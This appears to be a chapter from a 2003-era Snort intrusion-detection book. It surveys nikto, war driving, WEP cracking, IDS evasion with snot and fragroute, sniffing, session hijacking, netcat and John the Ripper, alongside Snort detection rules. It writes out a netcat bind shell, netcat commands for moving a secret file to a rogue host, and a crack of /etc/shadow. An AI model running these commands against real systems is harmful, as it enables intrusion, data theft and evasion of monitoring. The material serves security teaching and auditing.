web-misc.rules:alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS
(msg:"WEB-MISC whisker tab splice attack"; dsize: <5;
flow:to_server,established; content: "|09|"; reference:arachnids,415;
classtype:attempted-recon;
reference:url,www.wiretrip.net/rfp/pages/whitepapers/whiskerids.html; sid:1087;
rev:6;)
As of version 1.10 LibWhisker’s anti-IDS methods have been enabled in case you
wish to test your IDS. Depending on how recently you updated your signatures,
the anti-IDS feature may or may not be able to circumvent your IDS. It may have
greater luck bypassing proprietary intrusion detection systems whose signatures
have not been updated in some time.
Installing and running nikto is simple. Download the source code and uncompress
it in a secure directory. Within the new nikto/ directory run the nikto.pl Perl
script. Be sure to define the target host with a -h option. Here is how
a sample command appears.
# ./nikto.pl -h www.mydomain.com
Refer to the help file for additional options. Use the IDS evasion techniques by
appending a -evasion+ option and the preferred IP address. Nikto is also capable
of generating HTML output as well as using an Nmap file as input.
Here are the results when run against an older Apache web server on a standard
Linux machine. As you can see, in most cases there are several items that can
and ought to be cleaned up.
# ./nikto.pl -h www.mydomain.com
-*** SSL support not available (see docs for SSL install instructions) ***
---------------------------------------------------------------------------
- Nikto 1.30/1.06 - www.cirt.net
+ Target IP: 192.168.0.10
+ Target Hostname: www.mydomain.com
+ Target Port: 80
+ Start Time: Sat Oct 11 08:17:36 2003
---------------------------------------------------------------------------
- Scan is dependent on "Server" string which can be faked, use -g to override
+ Server: Apache/1.3.26 (Unix) PHP/4.2.2
+ Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, PATCH,
PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, TRACE
+ HTTP method 'PUT' method may allow clients to save files on the web server.
+ HTTP method 'CONNECT' may allow server to proxy client requests.
+ HTTP method 'DELETE' may allow clients to remove files on the web server.
+ HTTP method 'PROPFIND' may indicate DAV/WebDAV is installed. This may allow
DAV authorized users to consume system memory via large requests or fill disk
quotas.
+ HTTP method 'PROPPATCH' may indicate DAV/WebDAV is installed. This may allow
DAV authorized users to consume system memory via large requests or fill disk
quotas.
+ HTTP method 'TRACE' may allow client XSS or credential theft. See
http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf for details.
+ Apache/1.3.26 appears to be outdated (current is at least Apache/2.0.46).
Apache 1.3.27 is still widely used and considered secure.
+ PHP/4.2.2 appears to be outdated (current is at least PHP/4.3.0)
+ Apache/1.3.26 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer
overflow which allows attackers to kill any process on the system.
CAN-2002-0839.
+ /~root - Enumeration of users is possible by requesting ~username (responds
with Forbidden for real users, not found for non-existent users) (GET).
+ /icons/ - Directory indexing is enabled, it should only be enabled for
specific directories (if required). If indexing is not used all, the /icons
directory should be removed. (GET)
+ /index.html.en - Apache default foreign language file found. All default files
should be removed from the web server as they may give an attacker additional
system information. (GET)
+ /manual/images/ - Apache 2.0 directory indexing is enabled, it should only be
enabled for specific directories (if required). Apache's manual should be
removed and directory indexing disabled. (GET)
+ / - TRACE option appears to allow XSS or credential theft. See
http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf for details
(TRACE)
+ / - TRACK option ('TRACE' alias) appears to allow XSS or credential theft. See
http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf for details
(TRACK)
+ /manual/ - Web server manual? tsk tsk. (GET)
+ /test/ - This might be interesting... (GET)
+ 1632 items checked - 9 items found on remote host
+ End Time: Sat Oct 11 08:17:59 2003 (23 seconds)
---------------------------------------------------------------------------
Some of the more obvious results are that both Apache and PHP should be updated
to the latest version. The scan displays the most grievous security concerns and
provides some suggested measures. The first line of the scan also indicates that
there is no built-in secure socket layer (SSL) support. Enable this feature if
you wish to test pages using port 443 or that have secure socket layer enabled.
If you do wish to convert a TCP service such as that of nikto to a SSL variant,
consider using SSL Proxy. Or, there is an older alternative Whisker release that
does support SSL at digitaloffense.net.
It is highly recommended that this scan be run periodically against all web
servers within your network no matter what type of server or platform being
used. If you do not run the scan, rest assured that someone outside your company
will do it for you. They may not be as forgiving if vulnerabilities are
detected. CGI and web alerts that appear in your IDS may be indicative of nikto
scans against your systems. Run your own scan and rectify the problems
immediately.
War Dialing and Driving
If physical access is not possible or if the network itself is securely locked
down, wireless may prove an easier method of gaining access. This should be of
concern to all businesses and places of residence that have implemented some
form of wireless networking. If you are not certain if anyone has placed a
wireless network device on your LAN, then you had best find out right away. A
single laptop with a supported wireless card is usually enough to test most
areas of your LAN. Or a simple device such as an iPAQor PDA with an enabled
wireless card should be able to pick up most wireless access points. A periodic
walkabout the building should show if any wireless networks have been set up.
NetStumbler alone is a simple, handy tool for scanning IEEE 802.11x wireless
LANs. It captures the wireless LAN information such as the service set
identifier (SSID), access point channel and MAC addresses. It also provides a
nice graph showing signal and noise power. It is currently available for Windows
and is simple to install and use. There is also a Mini Stumbler available for
the Pocket PC. This is where you can surreptitiously scan networks for available
SSIDs without lugging around a cumbersome laptop or awkward antenna. Small
handheld PDAs, such as the iPAQor Dell Axim, work nicely in this respect.
Drivers can pose a problem for both Linux and Windows laptops running wireless.
Not all cards use the same chipset. Be aware that MiniStumbler requires the
Hermes chipset to run. You are best off using Orinoco or Proxim cards which
utilize the Hermes chipset. SMC and others use the Prism chipset and require
another set of drivers. If using a Prism-based card, test the Pocket Warrior
utility. It operates much like MiniStumbler, runs on PocketPC-based devices and
is designed for the different chipset. Check with your wireless manufacturer for
the specific type of driver and chipset required by your card.
A simple war driving session from work to home and back again using an older
iPAQ3650 running MiniStumbler revealed a veritable treasure trove of SSIDs, Not
only was I able to gather valid MAC addresses and determine the vendor of each
and the valid channel, but I could also see whether or not WEP was enabled. On
several of the Access Points I was even leased an IP address granting me
Internet connectivity through their network. This also meant I was able to see
machines internal to their network. Network shared devices and directories were
also readily visible. If this is not some cause for concern, then I do not know
what is. In less than a quarter of the instances when I was able to see the MAC
address was WEP enabled.
To perform packet analysis on the captured packets and drill down deeper into
their use, download and install possibly the best free packet capture program
currently available, Airscanner mobile sniffer. This easily installs on any
iPAQand works with most wireless cards. It captures the packets and saves the
data in Ethereal format, which can then be transferred to any Linux or Windows
machine that supports the libpcap format. These logged packets can then be
perused at your leisure on either system.
For those wanting a proprietary product that has even more whistles and bells,
consider purchasing something such as AiroPeek. The main site for AiroPeek has a
variety of different packages that run on Windows laptops, the iPAQand the Apple
Mac OS. I normally do not recommend any proprietary products, but given the
overwhelming amount of wireless networks popping up, and the fact that free
demos are available for most programs, this may be a worthwhile investment. The
money you invest in software and the time spent in finding vulnerable wireless
networks may save you money later.
For Linux users the Kismet wireless application performs similar wireless
network packet sniffing. It is supported by a number of cards operating under
Linux and like tcpdump and Ethereal it captures raw data and views unencrypted
transmissions. It acts much like Snort only it captures wireless broadcast
packets and informs you when new networks are detected. Another wireless packet
sniffer is Airsnort. It captures wireless packets and cracks the encryption keys
or WEP. It first passively monitors transmissions and when enough packets have
been collected it computes the encryption key. AirSnort requires approximately
5-10 million encrypted packets, after which it can guess the encryption password
in under a second.
Figure 5-5 is a sample screen shot of Kismet running within a terminal window.
Kismet also comes with distinct sound bytes that inform you if a new network is
found or if the remote access point detects your packet capture.
Insert Figure 5-5 here. Use file idsbook0505.png
Kismet as viewed within a terminal window.
When performing routine tests around the office you may find surprisingly few
access points with wired equivalent privacy (WEP) enabled. That means if the
channel and MAC addresses are visible then interfacing with their access point
and utilizing their resources is a simple matter. Few people who set up wireless
access points understand the importance of implementing WEP, and even then this
is no guarantee that the network remains secure. WEP is easily crackable as
shown in the previous example of Airsnort. To date there are also tools such as
wepcrack that assist in breaking the encryption key. It is best to not even
implement wireless accessibility until a more secure encryption key and
algorithm is developed.
Figure 5-6 shows Airsnort capturing and cracking wireless packets. Notice the
number of encrypted packets detected. From those collected packets the program
determines which are interesting or that have weak encryption algorithms. These
eventually yield the WEP key or password in either hex or ASCII format.
Insert Figure 5-6 here. Use file idsbook0506.png
A sample Airsnort screen as it captures and decrypts wireless packets.
For those who do engage in war-chalking or war-driving it is a simple matter
locating an open access point, receive a DHCP leased IP address and immediately
begin using the provided connectivity for Internet surfing, or in more cases for
sending Spam or launching outside attacks against other networks. Some
businesses provide this as a service to their clientele, while hopefully taking
all necessary precautions against intrusive attacks. Mini Stumbler, like its
older brother Net Stumbler, provides MAC addresses of the access points to
bridges. It also normally provides the vendor name as well. For those few access
points where the vendor cannot be determined, use a site such as the IEEE OUI
and Company_id Assignments page. Type in the first few numerals and letters of a
MAC address to resolve the access point model type. It is not inconceivable that
based on this information you can use other sites such as the
GovernmentSecurity.org and Virusdot.org sites for ascertaining the default login
and password of many wireless devices. Oftentimes many users do not change the
defaults to more secure settings. With this limited knowledge you become master
of that external connection or wireless router.
There are many other wireless capture tools available for download. Some are
free and open source while others are proprietary. Use those that work with your
Windows or Linux-based laptop or hand-held device. Because the wireless
networking field is still in its initial stages, expect security and stability
to be less than favorable. If you are considering a wireless network, proceed
only with the knowledge of the risks and the level of security you are willing
to accept.
If you do create a wireless network treat it as you would any subnet outside
your firewall. Do not grant access to internal or sensitive machines or even
personal workstations. The standard security tools still apply. Use VPNs, SSH
and IPSec or even PPTP to access internal resources from a wireless network.
Make certain a Snort sensor is located at the periphery of the same internal
network being accessed by any wireless devices. Snort may not have sniffing
capabilities to detect rogue wireless packets, but it can still see internal
traffic and detect malicious packets.
For those who are interested in using Snort as a wireless device, one
contributing users on the Snort mailing list, Andrew Lockhart
, has created a patch for Snort that enables wireless
intrusion detection. His Snort-Wireless page provides instructions for enabling
wireless under Snort. It requires you have a working wireless device on your
Linux machine. Be aware this site and patch are still very beta. By the time of
this book’s publication, stability and functionality should be less an issue.
Consult the Sites of Interest links at the end of this chapter for the
Snort-Wireless URL.
Those able to invest more time and money may want to purchase a war-driving kit,
specifically one that comes with an antenna (though the make-your-own variety
seem to be all the rage), a GPS unit and software for locating known wireless
points. Any of the aforementioned sites, including NetStumbler’s site, provides
links to software, updated information about access points, and instructions for
making your own war-driving kit. If you do not have the time or patience,
purchase a very nice wireless antenna from http://www.cantenna.com/. There are
several other sites on the Internet that explain in detail how to construct an
extended wireless antenna or Yagi. Rob Flickenger on the O’Reilly weblogs site
provides detailed instructions for building your own wireless antenna cheaply.
http://www.oreillynet.com/pub/wlg/448. Additional searches bring up many other
pages.
Bypassing Security
We are now quickly approaching the “fun” part of network security and cracking
methodologies. This is where we determine the means and methods of bypassing
security restrictions, intrusion detection systems and moving forward to
actually compromising a host. Being able to overpower or defeat your own
security or detection tools is both exhilarating and frightening. It means you
have gained enough experience or have located the right tools to defeat most
standard security measures. But it also means that others can do the same.
When dealing with networks that use intrusion detection systems, such as Snort,
it is crucial you are aware of any other tools that can bypass these security
restrictions. After installing a network IDS make certain you test its viability
against these cracking methods. If Snort cannot immediately detect the tools
outlined here, you may need to carefully watch incoming packets and create a new
or customized rule that informs you regarding this application.
One program still in the works and which the author is considering releasing to
the public is Stick. It is labeled an “IDS stress tool” and is used to evaluate
the bottleneck in a production environment. During testing it caused the ISS
Real Secure IDS version 5.5 to turn itself off due to errors. ISS Real Secure
dies two seconds after an attack with Stick begins. The same applies to any open
source IDS application, including Snort.
The concept behind Stick is a simple one; overwhelm a network intrusion
detection system with so many alerts using valid signatures that the security
administrator can no longer distinguish between false positives and legitimate
alerts. According to the author, Stick uses a Snort rule set and a C program via
lex that when compiled produces an IP packet capable of triggering that rule
from a spoofed IP range (or all possible IP addresses) into a target IP range. A
function is produced for each rule and a loop executes all rules in random
order. The tool currently produces 250 alarms per second. A Linux-based Snort
IDS will hit 100% CPU and start dropping packets at this level of attack. The
stress on recording and disk IO is another problem. So far, the author has only
released the Stick source code to IDS vendors. More information regarding Stick
is available in the author’s “Papers” section. The one titled “Fun with Packets:
Designing a Stick” by Coretez Giovanni is particularly useful for explaining how
Stick works and how to overwhelm IDS devices.
Two other tools that can be used for stress testing IDS machine prior to gaining
access or slipping in undetected are Snot and Fragroute. The former is similar
to Stick in that it triggers false Snort alerts using a Snort rules file for its
input. This both overwhelms and confuses the IDS since the security
administrator can no longer tell the difference between the false positives
caused by snot or any real alerts triggered by the attacker. Snot is basically
an IDS evasion tool. It attempts to randomize the sequence of rules or alerts
generated so that a “snot generation” rule is not triggered by Snort. Snot is
easily executed on a Linux or UNIX based system. Here is an example of its use:
snot -r snort.rules -s www.somerandomhost.org/24 -d somesnortuser.com -l 10
Snot first reads in the snort.rules file, sends packets with a source address
from anywhere on the CIDR-notated /24 network that www.somerandomhost.org
resolves to, and then transmits the packets to somesnortuser.com, sleeping for
up to 10 seconds per packet.
If your CIDR notational skills are lacking, refer to the following URL for a
refresher course:
http://jodies.de/ipcalc/.
However, there are rules within Snort that do account for these types of attacks
and do alert administrators that a stick/snot attack is underway. Using the -z
command line switch in concert with the stream4 code, Snort generates alerts
when it sees these types of attacks. The -z switch can take one of two
arguments: “est” and “all”. The “all” argument is the default if nothing is
specified and tells Snort to alert normally. If the -z switch is specified with
the “est” argument, Snort will only alert (for TCP traffic) on streams that have
been established via a three way handshake or streams where cooperative
bi-directional activity is observed, i.e. where some traffic went one way and
something, other than a RST or FIN, was seen going back to the originator. With
“-z est” turned on, Snort completely ignores TCP-based stick/snot “attacks” and
will log other malicious packets normally. In other words, Snort will operate as
usual and not be confused by any IDS evasion tool.
If you suspect a snot/stick attack is underway against your system, initiate
Snort using the correct flags. For example, this is how you might start the
Snort command on machine A with the -z option enabled:
# snort -i eth0 -c /etc/snort/snort.conf -l /var/log/snort -z est
Running snot on machine B while targeting machine A appears as follows:
# /usr/local/bin/snot -r snortrules.txt -d 192.168.10.254 -s 192.168.10.0/24 -n
16384
The snortrules.txt file is a default snort.conf configuration from with all of
the rules gathered in one file. The address 192.168.10.254 belongs to machine A
or is the recipient of the snot attack. As such, machine A operating as a Snort
sensor continues to see only regular traffic and not a surplus of false
positives generated by a snot attack.
The second application, fragroute, intercepts, modifies and rewrites egress
traffic to a given host. It complicates normal traffic to such a degree that an
IDS does not know what to do with certain packets. It features a simple ruleset
language to delay, duplicate, drop, fragment, overlap, print, reorder, segment,
source-route, or otherwise monkey with all outbound packets destined for a
target host, with minimal support for randomized or probabilistic behavior,
unlike snot which attempts to randomize the inserted rules. According to the
author, Dug Song, this tool was written in good faith to aid in the testing of
network intrusion detection systems, firewalls, and basic TCP/IP stack behavior.
He, as well as many others, asks that security administrators not abuse this
software. It is provided for testing your own network.
The fragroute application does require additional libraries, specifically the
libevent file. This library is also available for download from Dug Song’s site.
Once installed the fragroute application is then compiled. The binary is placed
in the /usr/local/sbin/ along with Firewalk and the Nessus daemon. The fragroute
program uses the following syntax for execution:
# /usr/local/sbin/fragroute -f
Replace the variable with a snort.rules file and the
variable with a valid IP address, preferably one associated with an IDS
monitoring box. There are additional variables that randomize the rules, change
the TCP packet size and set other options. Familiarize yourself with this
application’s use on a test machine before attempting to use it on a production
IDS box. The last thing you would want to do is bring down your own IDS and be
blind to real attacks.
Snort can also detect these types of attacks. There is a default fragroute rule
included with the standard Snort rules. Here is how a fragroute attack would be
formatted in the IDS logs when used with the default rules.
alert ip any any -> 216.80.99.202 any ( sid: 1791; rev: 2; msg: "BACKDOOR
fragroute trojan connection attempt"; reference: bugtraq,4 898; classtype:
trojan-activity;)
As you can see this is for outbound traffic as fragroute attempts to make a
backdoor connection to the destination IP address. If you are seeing different
or modified alerts, customize this rule to match the traffic generated using
tcpdump or some other packet sniffer.
Gaining Access
Once you have a foot in the metaphysical door of the network, you might want to
see how far you can worm your way in. You may have succeeded in bypassing the
main IDS, but good administrators position IDS sensors throughout the network.
Using known tools to connect to any internal system would probably still be
detected by a Snort sensor. This is where applications are required that grant
access to vulnerable machines. These are normally used internally, but if you
have managed to sneak back into your own network, you can fire up these devices
to see how really secure they are on the inside. Remember, “crunchy on the
outside, but soft and chewy on the inside” is not how we want our networks to be
remembered.
Packet Sniffing
One of the more useful tools for gaining immediate access is a regular packet
sniffer. By sniffing non-encrypted packets on a LAN connection you can usually
detect plain text usernames and passwords being sent across the network. Once
that information is in your possession, the rest is easy.
One well known packet sniffer is Sniffit. The source code installs easily and
runs “right out of the box”. Use the typical configure, and make commands to
install the application on your machine. Normally, you will not perform a make
install since you do not want other users to have access to the program. Sniffit
operates in conjunction with certain variables for listening on different
devices. The README.FIRST file included with the source code provides examples
for sniffing on certain ports or to other IP addresses. But if you simply want
to start sniffing immediately, use the interactive mode, or -i option in this
manner:
# ./sniffit -i
This renders a nice console-based interface that displays all current and
pending connections. Figure 5-7 shows the captured text of an FTP connection
from one test box to another using a dummy account. The captured password
clearly shows up as “letmein”.
Insert Figure 5-7 here. Use file idsbook0507.png
Sniffit in interactive mode capturing passwords.
However, when the packet sniffer attempts to capture any SSH or encrypted
sessions the text shows up as gibberish. The same holds true of sftp connections
or any of the other encrypted protocols. Sniffit is not only good for capturing
text but it can also determine the type of traffic being transferred, i.e. the
port number in use, and the URL locations or IP addresses of sites frequented by
people on your network. It can also show the types of files being downloaded or
uploaded, whether they are email messages, binary code or plain text files. It
is possible to see if users are performing a DNS request or checking the latest
Usenet postings.
Sometimes knowing your fellow co-workers surfing habits can be too much
information, other times you can never know enough, especially when you feel
internal security is at risk. Use discretion when sniffing your own network.
You can also define the source IP and destination IP you wish to sniff by using
the F1 and F2 keys respectively. For configuring the source port and destination
port use the F3 and F4 keys followed by the port number.
Be aware that Snort does have a default rule for detecting a sniffit overflow
attempt. This does not mean however that it can detect a live packet sniffing
session. Depending on how the packet sniffer is configured, especially if it is
set up to run stealthily, you may be unable to detect its presence using Snort
by itself. Snort can only detect abuse against the buffer overflow attempt as
shown in the default rule listed below:
alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 ( sid: 309; rev: 3; msg:
"EXPLOIT sniffit overflow"; content: "from|3A 90 90 90 90 90 90 90 90 90 90
90|"; nocase; dsize: >512; flags: A+; reference: arachnids,273; reference:
cve,CAN-2000-0343; reference: bugtraq, 1158; classtype: attempted-admin;)
Another very powerful packet sniffing program is dsniff. The entire dsniff
package includes a suite of tools that accomplishes much more than simply
sniffing packets. Among others you can view user mail packets as well as the web
pages users are currently browsing in real time. Here is a list of all the
applications included with the dsniff source code.
arpspoof - spoof ARP entries
dnsspoof - forge DNS replies
macof - flood using MAC addresses
tcpkill - block TCP connections
tcpnice - slow down TCP connections
dsniff - all purpose sniffer
filesnarf - NFS sniffer
mailsnarf - email sniffer
msgsnarf - IM sniffer
urlsnarf - web URL sniffer
webspy - lets you surf in tandem with the target
sshmitm - SSH protocol 1 attack
webmitm - HTTP / HTTPS attack
Each of these applications is extremely powerful and should be treated
carefully. Deciding to browse the boss’s email or capture a fellow worker’s web
surfing habits can again prove to be a “career limiting move”. Use common sense
and sound judgment when deciding what computers to monitor.
On some so-called “broken” Linux distributions, such as Red Hat and Mandrake,
(as they are referred to by users of other Linux flavors) you may need to apply
a patch in order for everything to successfully compile. Usually a Google search
finds a quick solution, since others might be aware of the problem. Consult
Denis Ducamp’s page for additional dsniff patches:
http://www.groar.org/patch/English.shtml. If that does not work try using a RPM
from the following site: http://ftp.falsehope.com/home/gomez/dsniff/. It does
require some additional libraries, such as libnids and libnet which are both
located at packetfactory.net. Use only libnet version 1.0.2a and below. Dsniff
was not built using the newer libnet-1.1.0 library. Dsniff-2.3 compiled cleanly
on my system when older stable libraries were used instead of betas. However,
over time these newer libraries may become more stable and later versions should
compile with no problem.
Always check the requirements before attempting to install. Dsniff installed
cleanly on Red Hat 7.3 using the RPM version with the necessary openssl
libraries. Later versions of Red Hat may encounter problems due to the older
glibc libraries used when creating the RPMs. By the time of this book’s
publication both source and RPMs should install with no problem on most any
Linux distribution.
Once you have successfully configured, compiled and installed Dsniff, move on to
testing it on your system. Again, I highly advise using these applications in a
controlled environment. Before testing any sniffing program make certain you
obtain permission from management and that they are aware of your activities.
Dug Song, the creator of dsniff, developed this application with honest
intentions; to audit his own network and to demonstrate the vulnerability of
clear text protocols. He and I both strongly suggest not abusing this software.
There is not space enough to explain in detail how to run each of the
applications included with dsniff. Suffice it to say that testing each should be
an experience in its own right. Much like other packet sniffers described
elsewhere, dsniff watches and logs text transmitted in the clear without
encryption. The webspy application is also a stealthy tool for monitoring web
browsing on others’ machines. Make certain a web browser, preferably Netscape or
Mozilla, is running on your local box. Watch the target machine by defining your
interface and the target host’s IP address. Again, exercise restraint in what
might be deemed appropriate or justifiable.
Be aware that Snort may not be able to detect these types of activities as well.
The best method for creating a standard Snort rule is to run the application
against a target system, while also running tcpdump on the same network or
non-switched hub. Capture those packets that appear to originate from the source
machine and generate your own custom signature. This is the recommended method
suggested by the Snort developers to creating custom rules for detecting new
exploits or attacks.
Session Hijacking
For some packet sniffing may be all that is required to compromise hosts on any
given network. For others, however, who wisely use encryption protocols, session
sniffing may not be feasible when attempting to gain access to internal
machines. This presents a bit of a challenge. The other alternative to session
sniffing is session hijacking, where a network packet sniffer/interceptor/logger
is used to insert new data into live TCP streams. One such tool is ettercap. It
even works on systems using standard encryption methods. Ettercap is utilized in
a variety of ways; from watching packets to injecting new characters into a
network stream without interruption. It can be used for session hijacking as it
closely monitors the traffic between two hosts.
Let it also be stated here that ettercap is not for the novice user.
Understanding the injection of non-standard characters into a TCP stream
requires detailed knowledge of how TCP sessions operate and the type of traffic
transmitted. This section is provided more for informational than for
instructional purposes.
Snort may not be able to detect ettercap activity if only default rules are in
place. The best method is to create your own custom rule by attempting to
exploit another system using ettercap and capturing all pertinent data using
tcpdump. Generate a rule based on any unique signatures, files, ports or hex
found in the data. It may be that your attempts differ from others’ intrusions.
In such cases, even custom rules may not detect an ettercap session hijacking
attempt.
The ettercap software itself requires the latest OpenSSL release. I recommend
compiling this code from source rather than relying on the OpenSSL RPM that
comes with most Linux releases. You will need the OpenSSL source code later when
configuring an IDS system so get used to sometimes substituting the pre-compiled
binaries with source code.
Once ettercap is fully installed using standard commands, start the program from
a command line as root without any added options. Ettercap uses ARP requests to
detect all hosts and machines within the local subnet. You should be able to see
all visible systems on your network and their MAC addresses. Figure 5-8 shows a
small sampling of IP addresses from an internal test network.
Insert Figure 5-8 here. Use file idsbook0508.png
After detecting all viable hosts, ettercap displays their IPs and MAC addresses
in two columns. This capability alone, to map all hosts within a network much
like cheops-ng does graphically, makes ettercap extremely powerful. But it can
do so much more. One of the more frequently used options is injecting characters
into an established connection stream, thus emulating commands to a server. It
can also send those characters to a client and emulate replies. Notice in the
above image there are two columns. Select one address from each column, the one
on the left as the source and the one on the right as the destination. Choose a
method of monitoring, either IP, MAC or ARP. If you get stuck and cannot
decipher the appropriate keystrokes, type “h”. This brings up the help screen
for that particular window. Moving through the various subroutines the “h” key
brings up new options specific to that window.
Rather than manually spoofing MAC addresses you can forge a false MAC address
using ettercap. You can also fingerprint any selected machines and actively or
passively sniff data passing back and forth between the two. Ettercap also acts
as a password collector, or as a third-party observer that can kill connections
between other systems. Sending encrypted data might be considered safe by some
when using SSH or HTTPS protocol. Normally it would be, but ettercap can sniff
encrypted SSH1 data and HTTP SSL secured data, even if the connection is made
via a proxy.
The possibilities are endless as to the type of switched traffic visible under
ettercap. If those options are not enough, there is a large selection of
available plugins on the ettercap web page that enhance its features even more.
An entire book could be written on customizing ettercap to suit your needs, but
test the application yourself and determine just how secure your own network
really is.
The Netcat or nc program is another very useful tool for analyzing the
susceptibility of your network connections. It is considered by some a tried and
tested application and is already deemed old, considering it appeared in
December of 1999. But Netcat is amazingly useful for a variety of things. It
operates in two different ways; running in either client and listen mode. It is
considered the Swiss army knife of tools. Netcat is now part of the Red Hat
Linux system and comes standard on SuSE Linux, Debian Linux, and most BSD
distributions.
That said, what exactly does Netcat do? Its primary focus is moving raw data
between ports on systems. When placed in client mode, its default setting,
Netcat initiates a connection to a specific port. All input from the machine
that comes through standard in, including text from the keyboard, data
redirected from a file or piped from an application can be redirected across the
network to any TCP or UDP port on any system. Messages from the tool itself are
sent to standard err. That means any program’s output can be piped to Netcat or
data received by Netcat can be piped back into a program. It truly acts like the
application “cat” used on Linux systems, only it is executed across the network.
Combined with source routing, such as that used by fragrouter, Netcat is also
useful for IP address spoofing. It can also possibly be used to route around
packet filters currently in place on your network devices.
When placed in listen mode Netcat waits for connections on a specific port. All
output now comes through standard out. Any input received from the network on
any TCP or UDP port first comes through Netcat listening on a specific machine
and then is outputted to standard out. Place Netcat in listen mode by using the
-l option and then informing it as to the port it should listen on.
Here are some of the many ways that Netcat can be put to use:
Data transfer or moving files between machines and across networks
Port scanning
Vulnerability scanning
Establishing connections to open ports
Replay attacks
Backdoors
Relays
We look only at Netcat’s primary purpose, moving data between machines or
“cat’ing” the data across networks. The first option is to push a file from a
server to a client. The command when run on a server appears something like this:
$ nc -l -p [port] < [filename]
The respective command on the client appears like the following:
$ nc [server IP address] [port] > [filename]
This means you can craft very stealthy data transfers using any port you choose.
For example, if I wanted to move my “very secret file” from an internal machine
to a rogue machine somewhere on the Internet using a non-standard port, I might
use the following command to push the files from server to client. The first
line is executed on the server and the second line is run on the client
receiving the file.
$ nc -l -p 1234 < secret_file.txt
$ nc server 1234 > secret_file.txt
Even for legitimate uses, it is often easier to use a higher number port or one
greater than 1024 (or >1024) when moving a file via Netcat from one machine to
another. This not only enables stealthier file transfers, but can be used to
bypass certain utilities that might be listening on standard ports for plaintext
file transfers. However, even Snort has a basic rule that listens for Netcat
activity.
The following is a standard rule that comes with Snort for detecting Netcat
activity. Notice that it looks for content containing the characters “nc%20” and
only observes data traversing the network from the outside to internal web
servers. You may wish to modify this rule and make it more inclusive.
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS ( sid: 1360; rev: 4;
msg: "WEB-ATTACKS netcat command attempt"; flow: to_server,established; content:
"nc%20"; nocase; classtype: web-application-attack;)
Netcat activity originating from the internal network to any outside source
might also be something to keep in mind. This may be indicative of data being
sent out from your network to some third-party site, which is never a good thing
when Netcat is the means for accomplishing this.
The other method in which Netcat which might be used would be to push a file
from a client to a server. The syntax is nearly identical to the previous
example only the redirect symbols face the opposite way. Again, the first line
is the command executed on the server and the second is run on the client.
$ nc -l -p 1234 > not_so_secret_file.txt
$ nc server 1234 < not_so_secret_file.txt
Consider for a moment the power of the Netcat utility. If you have installed
Netcat on any of your machines and they happen to be compromised at some later
date, any user would be able to email themselves a copy of any file on your
machine. This includes the /etc/passwd or /etc/shadow file to be later cracked
on a remote system. Also, with Netcat it becomes child’s play to obtain a login
prompt or a back door on any port you want. Consider the fact that telnet does
not do UDP, but Netcat does. Here is how you create a shell on a remote system.
$ nc -l -p [port] -e /bin/sh
Be mindful of the implications the next time you install Linux. Perhaps you may
not be so willing to install Netcat. Or if Netcat is already installed, you may
want to uninstall the program using RPM.
# rpm –e nc
If you are willing to live with the risks or if you use Netcat often, be aware
of the dangers inherent to its use.
Password Cracking
After compromising a single user account on a test system, it is good practice
to see if the other accounts on the same system are just as vulnerable. One
method for determining existing passwords is to run a password cracking program
against the passwd or shadow file in the /etc directory. Most Linux releases
today all use shadowed password files with MD5 hashing. However, older machines
may still employ passwd files that are readable by all and are not shadowed.
This means all user passwords, including root’s, though encrypted in /etc/passwd
can still be viewed by other users.
If you can get your hands on either the passwd or shadow files, you can either
mail these files to yourself elsewhere and run a crack against them on a local
machine or begin a low level crack on the host system itself. Your decision will
affect on how much of the respective machine’s resources are used.
A password cracker such as John the Ripper takes up much of the CPU’s processing
power. Depending on the complexity of the passwords themselves, the time it
takes to crack most of the passwords can vary anywhere from a few seconds to
several days. The longer you run the program, the greater the chances of
cracking the files. Normally, a brute force attack tries every possible password
until successful. This can last weeks if not months depending on the complexity
of the passwords.
John the Ripper is a bit more intelligent. It uses a hybrid attack that starts
with a dictionary file, and then concatenates special characters to dictionary
words. A small dictionary file of commonly used passwords is provided. For added
flexibility download any of the other dictionary files available and use those
as well. The cracker keeps checking possible word and character combinations
until one matches the encrypted file.
In addition to the regular John program there are various extended modules that
can be added to the core routine. These modules assist in cracking other
password types. For example, Dug Song of dsniff fame, has written patches for
John the Ripper to crack S/Key files and AFS/Kerberos TGTs.
Installing and running John the Ripper is actually very simple. After
uncompressing the code, change to the src/ directory within the new source code.
run the command make with the variable replaced by the type of machine
or operating system. For most generic Linux distributions, type: make
linux-x86-any-elf. A binary named john is placed in the run/ directory. To run
the crack, execute john from the command line pointing to the passwd or shadow
file. As passwords crack, the results appear in the console. They are also saved
in a temporary file in case the cracking process needs to be temporarily halted.
The entire process can be started again where it left off.
As an example, I configured a dummy account on a vanilla Linux box with an
easily guessable password. Here is how a standard cracking session appears:
# ./john /etc/shadow
Loaded 3 passwords with 3 different salts (FreeBSD MD5 [32/32])
letmein (dummy)
guesses: 1 time: 0:00:00:28 7% (2) c/s: 802 trying: radio1
Session aborted
It correctly guessed the password “letmein” associated with the user “dummy” in
less than 30 seconds. The program was trying other guesses for the remaining two
accounts when I aborted the process.
John the Ripper is useful for many things aside from testing the security of
your password files. It is an excellent audit tool for testing the strength of
the users’ passwords. It can be used to recover a forgotten or unknown password.
However, it should not be used for migrating users to a new platform. Users
should create new passwords in this instance.
I have had a couple occasions when I have both used John the Ripper as well as
have it used against me. Several years ago I worked at a small ISP. Their main
Solaris server still permitted users to login directly and check their email
using Pine or some other console-based mail client. Before I started working
there one of their users had compromised the /etc/passwd file and had mailed it
to himself. I discovered shortly after arriving that the passwd file was neither
shadowed nor properly secured. I quickly cleaned up the system and ran John
against the existing password file and forced all the users with easily
guessable passwords to change them. I also shadowed the password file and
limited connectivity.
The need for complex combinations within passwords among your users is still
great. I recommend a minimum of eight characters for each password using
letters, numbers and special characters. One strategy I use is translating a
regular English word to German, (German words tend to be longer than English
words) replacing certain vowels and consonants with special characters, (the “a”
is transposed to a “@” and the letter “s” to a “$”) and then reversing the order
